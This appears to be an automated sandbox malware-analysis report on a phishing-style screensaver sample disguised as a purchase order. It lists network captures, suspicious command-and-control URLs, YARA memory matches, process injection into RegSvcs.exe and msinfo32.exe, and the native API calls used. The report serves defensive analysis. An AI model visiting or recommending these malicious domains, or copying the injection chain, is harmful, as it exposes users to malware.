Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:23:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSwgAPS8SaycOJ1sORdTduPG3AcX16aUGES9tKRy2V9o0ptbx5UcojZr7ZVbAoEOl9njSD%2B8FpeYx4T3hU7y18QF32GKkSrA9RkhcXzf6dEaPJkykgmK8Qn1r1I9kYfk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f0ca856dc487ce2-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2031&min_rtt=2031&rtt_var=1015&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=796&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:23:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4gG60QB2uE%2BTi7h7ygzN2wL0kEKf80yQ2CHDyamVOVtC0m7SKsJzqznpr9MXugXfny%2FuKle6Q0yboNKAFIfb1NCUoHM0wuCU2VAiSpMlAd%2BfV%2BE4ZMN8QNjPZ07ha8Ym"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f0ca867883a5e80-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2055&min_rtt=2055&rtt_var=1027&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=4221&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 12 Dec 2024 09:23:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZ5J7MLtGi6nVmwyiMeJvh6yBddV2nShL4yljVGYh9FTAStbNL4YKeTdwO66%2FN2EzvovszjHDDLlYdIAfKECZsUyxklYrAE5oSBjmfDPGhbsfhryAuhZTFt3pglVxSEm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f0ca8781d168c72-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1924&min_rtt=1924&rtt_var=962&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=538&delivery_rate=0&cwnd=172&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error pa

Source: RFQ_P.O.1212024.scr, PEJmengI.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: RFQ_P.O.1212024.scr, PEJmengI.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: RFQ_P.O.1212024.scr, PEJmengI.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: RFQ_P.O.1212024.scr, 00000000.00000002.373003710.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, RFQ_P.O.1212024.scr, 00000000.00000002.373003710.0000000002B30000.00000004.00000800.00020000.00000000.sdmp, PEJmengI.exe, 0000000A.00000002.417275627.00000000028B1000.00000004.00000800.00020000.00000000.sdmp, PEJmengI.exe, 0000000A.00000002.417275627.0000000002631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: msinfo32.exe, 0000000C.00000002.874652822.0000000061EB2000.00000008.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: mrNbohrgjTw.exe, 00000014.00000002.873703699.0000000000954000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.vayui.top
Source: mrNbohrgjTw.exe, 00000014.00000002.873703699.0000000000954000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.vayui.top/ge5i/
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: msinfo32.exe, 0000000C.00000002.873979376.0000000003610000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.0000000003A70000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.5.1.min.js
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gamesfunny.top$
Source: msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://playchill.top/api/axgames/request?domain=$
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: msinfo32.exe, 0000000C.00000003.447877758.0000000006150000.00000004.00000020.00020000.00000000.sdmp, 00255Of2.12.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: msinfo32.exe, 0000000C.00000002.874345553.0000000005300000.00000004.00000800.00020000.00000000.sdmp, msinfo32.exe, 0000000C.00000002.873979376.000000000410E000.00000004.10000000.00040000.00000000.sdmp, mrNbohrgjTw.exe, 00000014.00000002.873893935.000000000456E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net/tag/js/gpt.js
Source: RFQ_P.O.1212024.scr, PEJmengI.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: 00255Of2.12.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: mrNbohrgjTw.exe, 00000014.00000002.873893935.0000000003428000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.mrpokrovskii.pro/7mvy/?x4=h6bUgYM5oQIom3SELeChVOWhI9VWPZg3BKiCH
Source: mrNbohrgjTw.exe, 00000014.00000002.873893935.00000000040B8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.strato.de

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.873456007.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396612978.00000000001B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.396870614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.461322824.0000000000170000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873508536.0000000000360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.873699119.0000000001D20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.398641756.00000000025C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.873703699.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.873782625.0000000003E40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: RFQ_P.O.1212024.scr

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0042CA13 NtClose,	8_2_0042CA13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009607AC NtCreateMutant,LdrInitializeThunk,	8_2_009607AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095F9F0 NtClose,LdrInitializeThunk,	8_2_0095F9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FAE8 NtQueryInformationProcess,LdrInitializeThunk,	8_2_0095FAE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FB68 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_0095FB68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FDC0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_0095FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009600C4 NtCreateFile,	8_2_009600C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00960048 NtProtectVirtualMemory,	8_2_00960048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00960078 NtResumeThread,	8_2_00960078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00960060 NtQuerySection,	8_2_00960060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009601D4 NtSetValueKey,	8_2_009601D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096010C NtOpenDirectoryObject,	8_2_0096010C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00960C40 NtGetContextThread,	8_2_00960C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009610D0 NtOpenProcessToken,	8_2_009610D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00961148 NtOpenThread,	8_2_00961148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095F8CC NtWaitForSingleObject,	8_2_0095F8CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095F900 NtReadFile,	8_2_0095F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00961930 NtSetContextThread,	8_2_00961930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095F938 NtWriteFile,	8_2_0095F938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FAB8 NtQueryValueKey,	8_2_0095FAB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FAD0 NtAllocateVirtualMemory,	8_2_0095FAD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FA20 NtQueryInformationFile,	8_2_0095FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FA50 NtEnumerateValueKey,	8_2_0095FA50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FBB8 NtQueryInformationToken,	8_2_0095FBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FBE8 NtQueryVirtualMemory,	8_2_0095FBE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FB50 NtCreateKey,	8_2_0095FB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FC90 NtUnmapViewOfSection,	8_2_0095FC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FC30 NtOpenProcess,	8_2_0095FC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FC48 NtSetInformationFile,	8_2_0095FC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FC60 NtMapViewOfSection,	8_2_0095FC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00961D80 NtSuspendThread,	8_2_00961D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FD8C NtDelayExecution,	8_2_0095FD8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FD5C NtEnumerateKey,	8_2_0095FD5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FEA0 NtReadVirtualMemory,	8_2_0095FEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FED0 NtAdjustPrivilegesToken,	8_2_0095FED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FE24 NtWriteVirtualMemory,	8_2_0095FE24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FFB4 NtCreateSection,	8_2_0095FFB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FFFC NtCreateProcessEx,	8_2_0095FFFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0095FF34 NtQueueApcThread,	8_2_0095FF34

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B50E8	0_2_001B50E8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B04E8	0_2_001B04E8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BB630	0_2_001BB630
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B46B0	0_2_001B46B0
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BBC38	0_2_001BBC38
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BCC5A	0_2_001BCC5A
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B3E00	0_2_001B3E00
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B5F68	0_2_001B5F68
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B203B	0_2_001B203B
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BC030	0_2_001BC030
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BC022	0_2_001BC022
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B8050	0_2_001B8050
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BD16A	0_2_001BD16A
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B11F8	0_2_001B11F8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B8258	0_2_001B8258
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B32A0	0_2_001B32A0
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BC3E0	0_2_001BC3E0
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B84E8	0_2_001B84E8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B86B8	0_2_001B86B8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BD6F8	0_2_001BD6F8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BB8F8	0_2_001BB8F8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001BB8E8	0_2_001BB8E8
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B4B48	0_2_001B4B48
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B3D8E	0_2_001B3D8E
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B6E48	0_2_001B6E48
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_001B5E80	0_2_001B5E80
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00651820	0_2_00651820
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00651906	0_2_00651906
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00659740	0_2_00659740
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00655060	0_2_00655060
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00650040	0_2_00650040
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00654C28	0_2_00654C28
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00654C1A	0_2_00654C1A
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00655498	0_2_00655498
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_00655980	0_2_00655980
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_006547F0	0_2_006547F0
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Code function: 0_2_006547CF	0_2_006547CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418A13	8_2_00418A13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0042F063	8_2_0042F063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00403010	8_2_00403010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401120	8_2_00401120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00401270	8_2_00401270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00410273	8_2_00410273
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402364	8_2_00402364
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040236C	8_2_0040236C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402370	8_2_00402370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00416C13	8_2_00416C13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E483	8_2_0040E483
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00410493	8_2_00410493
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E5C7	8_2_0040E5C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E5D3	8_2_0040E5D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E6A6	8_2_0040E6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096E0C6	8_2_0096E0C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0096E2E9	8_2_0096E2E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A163BF	8_2_00A163BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009963DB	8_2_009963DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00972305	8_2_00972305
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009BA37B	8_2_009BA37B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F443E	8_2_009F443E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0098C5F0	8_2_0098C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009F05E3	8_2_009F05E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009B6540	8_2_009B6540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00974680	8_2_00974680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0097E6C1	8_2_0097E6C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A12622	8_2_00A12622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009BA634	8_2_009BA634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0097C7BC	8_2_0097C7BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0097C85C	8_2_0097C85C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0099286D	8_2_0099286D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_009729B2	8_2_009729B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A1098E	8_2_00A1098E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00A049F5	8_2_00A049F5
